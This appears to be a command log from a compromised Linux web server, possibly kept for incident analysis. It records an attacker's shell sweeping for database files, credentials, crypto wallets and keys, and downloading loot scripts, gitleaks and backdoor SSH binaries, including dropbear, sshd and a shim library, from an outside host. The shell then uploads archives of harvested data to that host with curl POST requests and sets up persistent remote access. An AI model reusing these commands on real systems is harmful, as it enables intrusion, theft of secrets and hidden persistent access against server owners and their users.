Commandls -l dbt.tgzRun by the spawned shell2026-10-31 01:16:142026-10-31 01:17:212
Commandcat /etc/crontabRun by the spawned shell2026-10-31 01:16:372026-10-31 01:45:144
Commandfind /var/www /srv /opt /home -xdev -type f ( -path *upload* -o -path *storage/app* -o -path *web/uploads* -o -path *var/uploads* -o -path *assets* -o -path *media* ) -printf %s\t%TY-%Tm-%Td\t%p\nRun by the spawned shell2026-10-31 01:16:372026-10-31 01:45:144
Commandfind /var/www /srv /opt /home -xdev -type f ( -path *upload* -o -path *storage/app* -o -path *web/uploads* -o -path *var/uploads* -o -path *assets* -o -path *media* ) -size -256k -printRun by the spawned shell2026-10-31 01:16:372026-10-31 01:45:144
Commandls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cronRun by the spawned shell2026-10-31 01:16:372026-10-31 01:45:144
Commandsh -c echo "== crontab"; crontab -l 2>/dev/null echo "== /etc/crontab"; cat /etc/crontab 2>/dev/null echo "== cron dirs"; ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron 2>/dev/null echo "== cron files"; for f in /etc/cRun by the spawned shell2026-10-31 01:16:372026-10-31 01:45:144
Commandtimeout 40 sh -c echo "== crontab"; crontab -l 2>/dev/null echo "== /etc/crontab"; cat /etc/crontab 2>/dev/null echo "== cron dirs"; ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron 2>/dev/null echo "== cron files"; for Run by the spawned shell2026-10-31 01:16:372026-10-31 01:45:144
Commandfind /var/lib /var/www /srv /opt /home -xdev -type f ( -name *.sqlite -o -name *.sqlite3 -o -name *.db -o -name *.sql -o -name *.dump -o -name dump.rdb -o -name *.bson ) -size -50M -printf %s\t%p\nRun by the spawned shell2026-10-31 01:16:422026-10-31 01:45:194
Commandgrep -RInE -I -m 3 mysql://|postgres|DATABASE_URL|DB_HOST|DB_DATABASE|DB_USERNAME|DB_PASSWORD|redis://|mongodb:// /var/www /srv /opt /home /etcRun by the spawned shell2026-10-31 01:16:422026-10-31 01:45:194
Commandls -la /etc/supervisor /etc/supervisor/conf.dRun by the spawned shell2026-10-31 01:16:422026-10-31 01:45:194
Commandsh -c echo "== clients"; for b in mysql mysqldump psql pg_dump sqlite3 redis-cli mongo mongosh; do printf "%s=" "$b"; command -v "$b" 2>/dev/null; done echo "== db files"; find /var/lib /var/www /srv /opt /home -xdev -type f \( -name "*.sqlite" -o -name "*.sqlite3" -o -name "*.db" -o -name "*.sql" Run by the spawned shell2026-10-31 01:16:422026-10-31 01:45:194
Commandtimeout 40 sh -c echo "== clients"; for b in mysql mysqldump psql pg_dump sqlite3 redis-cli mongo mongosh; do printf "%s=" "$b"; command -v "$b" 2>/dev/null; done echo "== db files"; find /var/lib /var/www /srv /opt /home -xdev -type f \( -name "*.sqlite" -o -name "*.sqlite3" -o -name "*.db" -o -naRun by the spawned shell2026-10-31 01:16:422026-10-31 01:45:194
Commandfind /root /home /var/www /srv /opt /tmp -xdev -type f ( -name wallet.dat -o -name *.wallet -o -name UTC--* -o -name *.kdbx -o -iname *keystore* -o -iname *mnemonic* -o -iname *seed*.txt -o -name *.key ) -printf %s\t%p\nRun by the spawned shell2026-10-31 01:16:472026-10-31 01:45:244
Commandls -la /var/lib/mysql /var/lib/postgresql /var/lib/redis /var/lib/mongodbRun by the spawned shell2026-10-31 01:16:472026-10-31 01:45:244
Commandsh -c echo "== wallet files"; find /root /home /var/www /srv /opt /tmp -xdev -type f \( -name "wallet.dat" -o -name "*.wallet" -o -name "UTC--*" -o -name "*.kdbx" -o -iname "*keystore*" -o -iname "*mnemonic*" -o -iname "*seed*.txt" -o -name "*.key" \) -printf "%s\t%p\n" 2>/dev/null | sort -nr | heaRun by the spawned shell2026-10-31 01:16:472026-10-31 01:45:244
Commandtimeout 40 sh -c echo "== wallet files"; find /root /home /var/www /srv /opt /tmp -xdev -type f \( -name "wallet.dat" -o -name "*.wallet" -o -name "UTC--*" -o -name "*.kdbx" -o -iname "*keystore*" -o -iname "*mnemonic*" -o -iname "*seed*.txt" -o -name "*.key" \) -printf "%s\t%p\n" 2>/dev/null | sorRun by the spawned shell2026-10-31 01:16:472026-10-31 01:45:244
Commandcurl -sS --max-time 20 -o /tmp/.php-loot.327.php http://206.245.153.56:8088/tools/php-loot.phpRun by the spawned shell2026-10-31 01:16:522026-10-31 01:16:521
Commandphp /tmp/.php-loot.327.php /tmp/<REDACTED>-20261031/phpRun by the spawned shell2026-10-31 01:16:522026-10-31 01:16:521
Commandsh -c php '/tmp/.php-loot.327.php' '/tmp/<REDACTED>-20261031/php'Run by the spawned shell2026-10-31 01:16:522026-10-31 01:16:521
Commandtimeout 120 sh -c php '/tmp/.php-loot.327.php' '/tmp/<REDACTED>-20261031/php'Run by the spawned shell2026-10-31 01:16:522026-10-31 01:16:521
Commandrm -f /tmp/.php-loot.327.phpRun by the spawned shell2026-10-31 01:17:022026-10-31 01:17:021
Commandid -GnRun by the spawned shell2026-10-31 01:17:072026-10-31 01:46:024
Commandid -gRun by the spawned shell2026-10-31 01:17:072026-10-31 01:46:024
Commandps -eRun by the spawned shell2026-10-31 01:17:072026-10-31 01:45:584
Commandawk -F: /model name/{gsub(/^ /,"",$2); print $2; exit} /proc/cpuinfoRun by the spawned shell2026-10-31 01:17:112026-10-31 01:46:064
Commandsed -n s/^ID=//p /etc/os-releaseRun by the spawned shell2026-10-31 01:17:112026-10-31 01:46:024
Commandsed -n s/^PRETTY_NAME=//p /etc/os-releaseRun by the spawned shell2026-10-31 01:17:112026-10-31 01:46:024
Commandsed -n s/^VERSION_CODENAME=//p /etc/os-releaseRun by the spawned shell2026-10-31 01:17:112026-10-31 01:46:064
Commandsed -n s/^VERSION_ID=//p /etc/os-releaseRun by the spawned shell2026-10-31 01:17:112026-10-31 01:46:024
Commandcurl -sSI http://206.245.153.56:8088/tools/j490/j490_dbt.tgzRun by the spawned shell2026-10-31 01:17:142026-10-31 01:17:141
Commandawk -F: /cache size/{gsub(/^ /,"",$2); print $2; exit} /proc/cpuinfoRun by the spawned shell2026-10-31 01:17:152026-10-31 01:46:064
Commandawk -F: /cpu MHz/{gsub(/^ /,"",$2); print $2; exit} /proc/cpuinfoRun by the spawned shell2026-10-31 01:17:152026-10-31 01:46:064
Commandawk /^MemAvailable:/{print $2} /proc/meminfoRun by the spawned shell2026-10-31 01:17:152026-10-31 01:46:104
Commandawk /^MemFree:/{print $2} /proc/meminfoRun by the spawned shell2026-10-31 01:17:152026-10-31 01:46:064
Commandawk /^MemTotal:/{print $2} /proc/meminfoRun by the spawned shell2026-10-31 01:17:152026-10-31 01:46:064
Commandawk /^SwapFree:/{print $2} /proc/meminfoRun by the spawned shell2026-10-31 01:17:152026-10-31 01:46:104
Commandawk /^SwapTotal:/{print $2} /proc/meminfoRun by the spawned shell2026-10-31 01:17:152026-10-31 01:46:104
Commanddf -kP /Run by the spawned shell2026-10-31 01:17:152026-10-31 01:46:108
Commandgrep -c ^processor /proc/cpuinfoRun by the spawned shell2026-10-31 01:17:152026-10-31 01:46:064
Commanddf -P /Run by the spawned shell2026-10-31 01:17:192026-10-31 01:46:104
Commandps -e --no-headersRun by the spawned shell2026-10-31 01:17:192026-10-31 01:46:144
Commandfind . -type f ! -name manifest.tsv -print0Run by the spawned shell2026-10-31 01:17:242026-10-31 01:46:204
Commandfind . -type f -printf %s\t%TY-%Tm-%Td %TH:%TM\t%p\nRun by the spawned shell2026-10-31 01:17:242026-10-31 01:46:204
Commandfind /tmp/<REDACTED>-20261031/git -maxdepth 1 -mindepth 1 -type dRun by the spawned shell2026-10-31 01:17:242026-10-31 01:29:112
Commandchmod +x r/usr/sbin/dropbear r/usr/bin/dropbearkey r/usr/bin/dbclient r/usr/bin/dropbearconvertRun by the spawned shell2026-10-31 01:17:352026-10-31 01:17:351
Commandls -l r/usr/sbin/dropbearRun by the spawned shell2026-10-31 01:17:352026-10-31 01:17:352
Commandcurl -sS --max-time 180 -o /dev/null -w %{http_code} -X POST --data-binary @/tmp/<REDACTED>-20261031.tgz http://206.245.153.56:8088/1422/<REDACTED>-20261031.tgzRun by the spawned shell2026-10-31 01:17:462026-10-31 01:17:461
Commandpasswd -S rootRun by the spawned shell2026-10-31 01:17:462026-10-31 01:17:461
Commandls -l /tmp/collect.shRun by the spawned shell2026-10-31 01:17:512026-10-31 01:17:511
Commandpasswd -S www-dataRun by the spawned shell2026-10-31 01:17:512026-10-31 01:17:511
Commandsh -c sh /tmp/collect.sh -i 1422 -n t1 >/tmp/c.out 2>&1; echo rc=$?; tail -5 /tmp/c.outRun by the spawned shell2026-10-31 01:17:512026-10-31 01:17:511
Commandcurl -sS -o shim.c http://206.245.153.56:8088/tools/j490/shim.cRun by the spawned shell2026-10-31 01:18:292026-10-31 01:18:291
Commandchmod 700 .sshRun by the spawned shell2026-10-31 01:18:502026-10-31 01:18:501
Commandcurl -sS -o j490.pub http://206.245.153.56:8088/tools/j490/j490.pubRun by the spawned shell2026-10-31 01:18:502026-10-31 01:18:501
Commandls -l shim.so j490.pubRun by the spawned shell2026-10-31 01:18:502026-10-31 01:18:501
Commandls -la .sshRun by the spawned shell2026-10-31 01:18:502026-10-31 01:18:501
Command./r/usr/bin/dropbearconvert openssh dropbear /root/.ssh/c2_ed25519 dk_keyRun by the spawned shell2026-10-31 01:19:182026-10-31 01:19:181
Commandtail -5 /var/tmp/.p/db.logRun by the spawned shell2026-10-31 01:19:182026-10-31 01:19:181
Commandfind /var/www /home /opt /srv /etc /root /tmp /run/secrets /usr/local/etc /var/lib/php -xdev ( -path /tmp/t1 -o -path */vendor/* -o -path */node_modules/* -o -path */.git/* -o -path /tmp/collect-* -o -path /tmp/deep-* -o -path /tmp/recon-* -o -path /tmp/.loot-tools* -o -path /tmp/.loot-home* -o -patRun by the spawned shell2026-10-31 01:19:332026-10-31 01:19:383
Commandcurl -sS -o j490.key http://206.245.153.56:8088/tools/j490/j490.keyRun by the spawned shell2026-10-31 01:19:532026-10-31 01:19:531
Commandls -l dk_keyRun by the spawned shell2026-10-31 01:19:532026-10-31 01:20:142
Commandtail -6 /var/tmp/.p/db.logRun by the spawned shell2026-10-31 01:20:312026-10-31 01:23:012
Command/bin/bash -lRun by the spawned shell2026-10-31 01:20:442026-10-31 01:20:592
Commandbash -c /bin/bash -lRun by the spawned shell2026-10-31 01:20:442026-10-31 01:20:592
Commandrun-parts --list --regex ^[a-zA-Z0-9_][a-zA-Z0-9._-]*\.sh$ /etc/profile.dRun by the spawned shell2026-10-31 01:20:442026-10-31 01:20:592
Commandtail -20 /var/tmp/.p/db.logRun by the spawned shell2026-10-31 01:20:592026-10-31 01:20:591
Commandgrep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir=t1 --exclude-dir=collect-* --exclude-dir=recon-* --exclude-dir=.loot-tools --exclude=*.min.* --exclRun by the spawned shell2026-10-31 01:21:162026-10-31 01:21:161
Commandsh -c grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir='t1' --exclude-dir='collect-*' --exclude-dir='recon-*' --exclude-dir='.loot-tools' --Run by the spawned shell2026-10-31 01:21:162026-10-31 01:21:161
Commandtimeout 60 sh -c grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir='t1' --exclude-dir='collect-*' --exclude-dir='recon-*' --exclude-dir='.loot-Run by the spawned shell2026-10-31 01:21:162026-10-31 01:21:161
Commandfind /var/www /srv /opt /home /tmp -xdev ( -path /tmp/t1 -prune ) -o -type f -mtime -14 -printf %TY-%Tm-%Td %TH:%TM %s %p\nRun by the spawned shell2026-10-31 01:21:222026-10-31 01:21:221
Commandsh -c echo "== recent 14d"; find /var/www /srv /opt /home /tmp -xdev \( -path "/tmp/t1" -prune \) -o -type f -mtime -14 -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -200 echo "== setuid"; find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prune -o -type f -perm -4000 Run by the spawned shell2026-10-31 01:21:222026-10-31 01:21:221
Commandtimeout 40 sh -c echo "== recent 14d"; find /var/www /srv /opt /home /tmp -xdev \( -path "/tmp/t1" -prune \) -o -type f -mtime -14 -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -200 echo "== setuid"; find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prune -o -type f -Run by the spawned shell2026-10-31 01:21:222026-10-31 01:21:221
Commandtail -3 /var/tmp/.p/db.logRun by the spawned shell2026-10-31 01:21:412026-10-31 01:21:411
Commandbash -c id; hostname; pwd; echo RC=0Run by the spawned shell2026-10-31 01:21:562026-10-31 01:21:561
Commandchmod +x keep.shRun by the spawned shell2026-10-31 01:22:282026-10-31 01:22:281
Commandcurl -sS -o keep.sh http://206.245.153.56:8088/tools/j490/keep.shRun by the spawned shell2026-10-31 01:22:282026-10-31 01:22:281
Commandpgrep -af keep.sh|dropbear -F|dk_keyRun by the spawned shell2026-10-31 01:22:282026-10-31 01:22:281
Commandpgrep -f /var/tmp/.p/r/usr/sbin/dropbear -FRun by the spawned shell2026-10-31 01:22:282026-10-31 01:22:281
Commandpgrep -f dk_key.*43485Run by the spawned shell2026-10-31 01:22:282026-10-31 01:22:281
Commandsleep 20Run by the spawned shell2026-10-31 01:22:282026-10-31 01:22:281
Commandcurl -sS --max-time 20 -o /tmp/.php-loot.2397.php http://206.245.153.56:8088/tools/php-loot.phpRun by the spawned shell2026-10-31 01:22:502026-10-31 01:22:501
Commandphp /tmp/.php-loot.2397.php /tmp/t1/phpRun by the spawned shell2026-10-31 01:22:552026-10-31 01:22:551
Commandsh -c php '/tmp/.php-loot.2397.php' '/tmp/t1/php'Run by the spawned shell2026-10-31 01:22:552026-10-31 01:22:551
Commandtimeout 120 sh -c php '/tmp/.php-loot.2397.php' '/tmp/t1/php'Run by the spawned shell2026-10-31 01:22:552026-10-31 01:22:551
Commandpgrep -af dropbear -F|dk_keyRun by the spawned shell2026-10-31 01:23:012026-10-31 01:38:254
Commandpgrep -af dropbear -F|dk_key|keep.shRun by the spawned shell2026-10-31 01:23:012026-10-31 01:23:011
Commandtail -4 /var/tmp/.p/db.logRun by the spawned shell2026-10-31 01:23:012026-10-31 01:23:011
Commandrm -f /tmp/.php-loot.2397.phpRun by the spawned shell2026-10-31 01:23:072026-10-31 01:23:071
Commandbash -c id; hostname; cat /etc/hostnameRun by the spawned shell2026-10-31 01:23:112026-10-31 01:23:111
Commandcat /etc/hostnameRun by the spawned shell2026-10-31 01:23:112026-10-31 01:23:111
Commandsh /tmp/collect.sh -i 1425 -n <REDACTED>-20261031Run by the spawned shell2026-10-31 01:23:162026-10-31 01:23:161
Commandfind /tmp/t1/git -maxdepth 1 -mindepth 1 -type dRun by the spawned shell2026-10-31 01:23:242026-10-31 01:23:241
Commandcurl -sS --max-time 180 -o /dev/null -w %{http_code} -X POST --data-binary @/tmp/t1.tgz http://206.245.153.56:8088/1422/t1.tgzRun by the spawned shell2026-10-31 01:24:112026-10-31 01:24:111
Commandpgrep -n passwdRun by the spawned shell2026-10-31 01:24:162026-10-31 01:24:161
Commandsh /tmp/deep-loot.sh -i 1422 -n <REDACTED>-deep -lRun by the spawned shell2026-10-31 01:24:162026-10-31 01:24:161
Commandcurl -s -o /dev/null -w %{http_code} -X POST --data-binary @/tmp/<REDACTED>-deep.tgz http://206.245.153.56:8088/1422/<REDACTED>-deep.tgzRun by the spawned shell2026-10-31 01:24:452026-10-31 01:24:451
Commandbash -c ls -la /tmp/<REDACTED>-20261031 | head -20; echo ---; ps -eo pid,etime,args | grep -E "collect|find|curl" | grep -v grep | headRun by the spawned shell2026-10-31 01:26:202026-10-31 01:26:201
Commandgrep -E collect|find|curlRun by the spawned shell2026-10-31 01:26:202026-10-31 01:26:201
Commandgrep -v grepRun by the spawned shell2026-10-31 01:26:202026-10-31 01:29:163
CommandheadRun by the spawned shell2026-10-31 01:26:202026-10-31 01:46:516
Commandls -la /tmp/<REDACTED>-20261031Run by the spawned shell2026-10-31 01:26:202026-10-31 01:26:201
Commandps -eo pid,etime,argsRun by the spawned shell2026-10-31 01:26:202026-10-31 01:29:164
Commandbash -c ls /tmp/<REDACTED>-20261031; echo ---; ps -eo pid,etime,args | grep -c collectRun by the spawned shell2026-10-31 01:27:012026-10-31 01:27:011
Commandgrep -c collectRun by the spawned shell2026-10-31 01:27:012026-10-31 01:30:022
Commandls /tmp/<REDACTED>-20261031Run by the spawned shell2026-10-31 01:27:012026-10-31 01:28:172
Commandcurl -sS -o .j/sshd http://206.245.153.56:8088/j485/sshdRun by the spawned shell2026-10-31 01:28:002026-10-31 01:28:001
Commandbash -c ps -eo pid,etime,args|grep collect|grep -v grep; ls /tmp/<REDACTED>-20261031 | wc -l; ls /tmp/<REDACTED>-20261031Run by the spawned shell2026-10-31 01:28:172026-10-31 01:28:171
Commandgrep collectRun by the spawned shell2026-10-31 01:28:172026-10-31 01:28:171
Commandcurl -sS --max-time 20 -o /tmp/.php-loot.390.php http://206.245.153.56:8088/tools/php-loot.phpRun by the spawned shell2026-10-31 01:28:372026-10-31 01:28:371
Commandphp /tmp/.php-loot.390.php /tmp/<REDACTED>-20261031/phpRun by the spawned shell2026-10-31 01:28:372026-10-31 01:28:371
Commandsh -c php '/tmp/.php-loot.390.php' '/tmp/<REDACTED>-20261031/php'Run by the spawned shell2026-10-31 01:28:372026-10-31 01:28:371
Commandtimeout 120 sh -c php '/tmp/.php-loot.390.php' '/tmp/<REDACTED>-20261031/php'Run by the spawned shell2026-10-31 01:28:372026-10-31 01:28:371
Commandrm -f /tmp/.php-loot.390.phpRun by the spawned shell2026-10-31 01:28:492026-10-31 01:28:491
Commandchmod 755 .j/sshd .j/shim.soRun by the spawned shell2026-10-31 01:29:042026-10-31 01:29:041
Commandcurl -sS -o .j/hostkey http://206.245.153.56:8088/j485/hostkey_j485Run by the spawned shell2026-10-31 01:29:042026-10-31 01:29:041
Commandcurl -sS -o .j/shim.so http://206.245.153.56:8088/j485/shim.soRun by the spawned shell2026-10-31 01:29:042026-10-31 01:29:041
Commandbash -c ls -l /tmp/<REDACTED>-20261031/*.tsv 2>&1; ps -eo pid,etime,args | grep -E "collect|tar" | grep -v grepRun by the spawned shell2026-10-31 01:29:162026-10-31 01:29:161
Commandcurl -sS --max-time 180 -o /dev/null -w %{http_code} -X POST --data-binary @/tmp/<REDACTED>-20261031.tgz http://206.245.153.56:8088/1425/<REDACTED>-20261031.tgzRun by the spawned shell2026-10-31 01:29:162026-10-31 01:29:161
Commandgrep -E collect|tarRun by the spawned shell2026-10-31 01:29:162026-10-31 01:29:161
Commandls -l /tmp/<REDACTED>-20261031/04-sockets.tsv /tmp/<REDACTED>-20261031/17-sessions.tsv /tmp/<REDACTED>-20261031/18-uploads.tsv /tmp/<REDACTED>-20261031/configs.tsv /tmp/<REDACTED>-20261031/files.tsv /tmp/<REDACTED>-20261031/manifest.tsv /tmp/<REDACTED>-20261031/meta.tsvRun by the spawned shell2026-10-31 01:29:162026-10-31 01:29:161
Commandcurl -sS -o sshd http://206.245.153.56:8088/j485/sshdRun by the spawned shell2026-10-31 01:29:182026-10-31 01:29:181
Commandcurl -sS -o hostkey http://206.245.153.56:8088/j485/hostkey_j485Run by the spawned shell2026-10-31 01:29:262026-10-31 01:29:261
Commandcurl -sS -o shim.so http://206.245.153.56:8088/j485/shim.soRun by the spawned shell2026-10-31 01:29:262026-10-31 01:29:261
Commandls -la /tmp/<REDACTED>-20261031 /tmp/<REDACTED>-20261031.tgzRun by the spawned shell2026-10-31 01:29:382026-10-31 01:29:381
Commandchmod 755 sshd shim.soRun by the spawned shell2026-10-31 01:29:462026-10-31 01:29:461
Commandls -lRun by the spawned shell2026-10-31 01:29:462026-10-31 01:30:232
Commandbash -c wc -l /tmp/<REDACTED>-20261031/meta.tsv; tail -3 /tmp/<REDACTED>-20261031/meta.tsv; ps -o pid,stat,etime -p 390; ls -l /proc/390/fd 2>/dev/null | tail -5Run by the spawned shell2026-10-31 01:29:532026-10-31 01:29:531
Commandls -l /proc/390/fdRun by the spawned shell2026-10-31 01:29:532026-10-31 01:29:531
Commandps -o pid,stat,etime -p 390Run by the spawned shell2026-10-31 01:29:532026-10-31 01:29:531
Commandtail -3 /tmp/<REDACTED>-20261031/meta.tsvRun by the spawned shell2026-10-31 01:29:532026-10-31 01:29:531
Commandtail -5Run by the spawned shell2026-10-31 01:29:532026-10-31 01:29:531
Commandwc -l /tmp/<REDACTED>-20261031/meta.tsvRun by the spawned shell2026-10-31 01:29:532026-10-31 01:29:531
Commandbash -c ls -l /tmp/*.tgz 2>&1; ps aux | grep -c collectRun by the spawned shell2026-10-31 01:30:022026-10-31 01:30:021
Commandls -l /tmp/<REDACTED>-20261031.tgzRun by the spawned shell2026-10-31 01:30:022026-10-31 01:30:021
Commandps auxRun by the spawned shell2026-10-31 01:30:022026-10-31 01:53:554
Commandchmod 700 ak ak/www-dataRun by the spawned shell2026-10-31 01:30:232026-10-31 01:30:231
Commandcurl -s -o /dev/null -w %{http_code} -X POST --data-binary @/tmp/<REDACTED>-deep.tgz http://206.245.153.56:8088/1425/<REDACTED>-deep.tgzRun by the spawned shell2026-10-31 01:30:282026-10-31 01:30:281
Commandsh /tmp/deep-loot.sh -i 1425 -n <REDACTED>-deep -lRun by the spawned shell2026-10-31 01:30:282026-10-31 01:30:281
Commandls -l /var/log/apache2/.j/sshd.pidRun by the spawned shell2026-10-31 01:31:022026-10-31 01:34:352
Commandpgrep -af sshdRun by the spawned shell2026-10-31 01:31:022026-10-31 01:31:021
Command/tmp/.loot-tools/gitleaks versionRun by the spawned shell2026-10-31 01:31:482026-10-31 01:34:202
Commandbash -c mkdir -p /tmp/.loot-tools; curl -sS -o /tmp/.loot-tools/gitleaks http://206.245.153.56:8088/tools/j490/gl/gitleaks && chmod +x /tmp/.loot-tools/gitleaks && /tmp/.loot-tools/gitleaks versionRun by the spawned shell2026-10-31 01:31:482026-10-31 01:31:481
Commandchmod +x /tmp/.loot-tools/gitleaksRun by the spawned shell2026-10-31 01:31:482026-10-31 01:31:481
Commandcurl -sS -o /tmp/.loot-tools/gitleaks http://206.245.153.56:8088/tools/j490/gl/gitleaksRun by the spawned shell2026-10-31 01:31:482026-10-31 01:31:481
Commandmkdir -p /tmp/.loot-toolsRun by the spawned shell2026-10-31 01:31:482026-10-31 01:31:481
Commandcurl -sS -o libwrap.so.0.7.6 http://206.245.153.56:8088/j485/libwrap.so.0.7.6Run by the spawned shell2026-10-31 01:31:502026-10-31 01:31:501
Commandchmod 755 libwrap.so.0.7.6Run by the spawned shell2026-10-31 01:32:422026-10-31 01:32:421
Commandcurl -sS -o libnsl.so.2 http://206.245.153.56:8088/j485/libnsl.so.2.0.1Run by the spawned shell2026-10-31 01:32:422026-10-31 01:32:421
Commandcurl -sS -o libwrap.so.0 http://206.245.153.56:8088/j485/libwrap.so.0Run by the spawned shell2026-10-31 01:32:422026-10-31 01:32:421
Commandchmod 755 libnsl.so.2Run by the spawned shell2026-10-31 01:33:272026-10-31 01:33:271
Commandcurl -sS -o libtirpc.so.3 http://206.245.153.56:8088/j485/libtirpc.so.3Run by the spawned shell2026-10-31 01:33:272026-10-31 01:33:271
Commandchmod 755 libtirpc.so.3Run by the spawned shell2026-10-31 01:33:532026-10-31 01:33:531
Commandbash -c ls -l /tmp/.loot-tools; echo AA; /tmp/.loot-tools/gitleaks version; echo ABRun by the spawned shell2026-10-31 01:34:202026-10-31 01:34:201
Commandls -l /tmp/.loot-toolsRun by the spawned shell2026-10-31 01:34:202026-10-31 01:34:201
Commandsh /tmp/deep-loot.sh -i 1425 -n <REDACTED>-deep2 -lRun by the spawned shell2026-10-31 01:34:292026-10-31 01:34:291
Command/tmp/.loot-tools/gitleaks dir /home --no-banner --no-color --report-format json --report-path /tmp/<REDACTED>-deep2/gitleaks-home.json --max-target-megabytes 2 --exit-code 0 --timeout 120Run by the spawned shell2026-10-31 01:34:332026-10-31 01:34:331
Command/tmp/.loot-tools/gitleaks dir /opt --no-banner --no-color --report-format json --report-path /tmp/<REDACTED>-deep2/gitleaks-opt.json --max-target-megabytes 2 --exit-code 0 --timeout 120Run by the spawned shell2026-10-31 01:34:332026-10-31 01:34:331
Command/tmp/.loot-tools/gitleaks dir /root --no-banner --no-color --report-format json --report-path /tmp/<REDACTED>-deep2/gitleaks-root.json --max-target-megabytes 2 --exit-code 0 --timeout 120Run by the spawned shell2026-10-31 01:34:332026-10-31 01:34:331
Command/tmp/.loot-tools/gitleaks dir /srv --no-banner --no-color --report-format json --report-path /tmp/<REDACTED>-deep2/gitleaks-srv.json --max-target-megabytes 2 --exit-code 0 --timeout 120Run by the spawned shell2026-10-31 01:34:332026-10-31 01:34:331
Command/tmp/.loot-tools/gitleaks dir /var/www/html --no-banner --no-color --report-format json --report-path /tmp/<REDACTED>-deep2/gitleaks-dir.json --max-target-megabytes 2 --exit-code 0 --timeout 180Run by the spawned shell2026-10-31 01:34:332026-10-31 01:34:331
Commandfind /tmp/<REDACTED>-deep2 -maxdepth 1 -name gitleaks-*.json -size +2cRun by the spawned shell2026-10-31 01:34:332026-10-31 01:34:331
Commandfind /var/www /home /opt /srv -xdev -type d -name .git -pruneRun by the spawned shell2026-10-31 01:34:332026-10-31 01:34:331
Commandmkdir -p /tmp/<REDACTED>-deep2 /tmp/.loot-tools /tmp/.loot-homeRun by the spawned shell2026-10-31 01:34:332026-10-31 01:34:331
Commandsh -c '/tmp/.loot-tools/gitleaks' dir '/home' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-home.json' --max-target-megabytes 2 --exit-code 0 --timeout 120Run by the spawned shell2026-10-31 01:34:332026-10-31 01:34:331
Commandsh -c '/tmp/.loot-tools/gitleaks' dir '/opt' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-opt.json' --max-target-megabytes 2 --exit-code 0 --timeout 120Run by the spawned shell2026-10-31 01:34:332026-10-31 01:34:331
Commandsh -c '/tmp/.loot-tools/gitleaks' dir '/root' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-root.json' --max-target-megabytes 2 --exit-code 0 --timeout 120Run by the spawned shell2026-10-31 01:34:332026-10-31 01:34:331
Commandsh -c '/tmp/.loot-tools/gitleaks' dir '/srv' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-srv.json' --max-target-megabytes 2 --exit-code 0 --timeout 120Run by the spawned shell2026-10-31 01:34:332026-10-31 01:34:331
Commandsh -c '/tmp/.loot-tools/gitleaks' dir '/var/www/html' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-dir.json' --max-target-megabytes 2 --exit-code 0 --timeout 180Run by the spawned shell2026-10-31 01:34:332026-10-31 01:34:331
Commandtimeout 180 sh -c '/tmp/.loot-tools/gitleaks' dir '/home' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-home.json' --max-target-megabytes 2 --exit-code 0 --timeout 120Run by the spawned shell2026-10-31 01:34:332026-10-31 01:34:331
Commandtimeout 180 sh -c '/tmp/.loot-tools/gitleaks' dir '/opt' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-opt.json' --max-target-megabytes 2 --exit-code 0 --timeout 120Run by the spawned shell2026-10-31 01:34:332026-10-31 01:34:331
Commandtimeout 180 sh -c '/tmp/.loot-tools/gitleaks' dir '/root' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-root.json' --max-target-megabytes 2 --exit-code 0 --timeout 120Run by the spawned shell2026-10-31 01:34:332026-10-31 01:34:331
Commandtimeout 180 sh -c '/tmp/.loot-tools/gitleaks' dir '/srv' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-srv.json' --max-target-megabytes 2 --exit-code 0 --timeout 120Run by the spawned shell2026-10-31 01:34:332026-10-31 01:34:331
Commandtimeout 240 sh -c '/tmp/.loot-tools/gitleaks' dir '/var/www/html' --no-banner --no-color --report-format json --report-path '/tmp/<REDACTED>-deep2/gitleaks-dir.json' --max-target-megabytes 2 --exit-code 0 --timeout 180Run by the spawned shell2026-10-31 01:34:332026-10-31 01:34:331
Commandgrep -c . /proc/net/tcpRun by the spawned shell2026-10-31 01:34:352026-10-31 01:34:351
Commandgrep 42422 /proc/net/tcpRun by the spawned shell2026-10-31 01:34:352026-10-31 01:34:351
Commandcurl -s -o /dev/null -w %{http_code} -X POST --data-binary @/tmp/<REDACTED>-deep2.tgz http://206.245.153.56:8088/1425/<REDACTED>-deep2.tgzRun by the spawned shell2026-10-31 01:34:572026-10-31 01:34:571
Commandfind /tmp/<REDACTED>-deep2 -maxdepth 1 -type f -printf %P %s Run by the spawned shell2026-10-31 01:34:572026-10-31 01:34:571
Commandls -l /tmp/<REDACTED>-deep2Run by the spawned shell2026-10-31 01:34:572026-10-31 01:34:571
CommandbashRun by the spawned shell2026-10-31 01:35:462026-10-31 02:02:1133
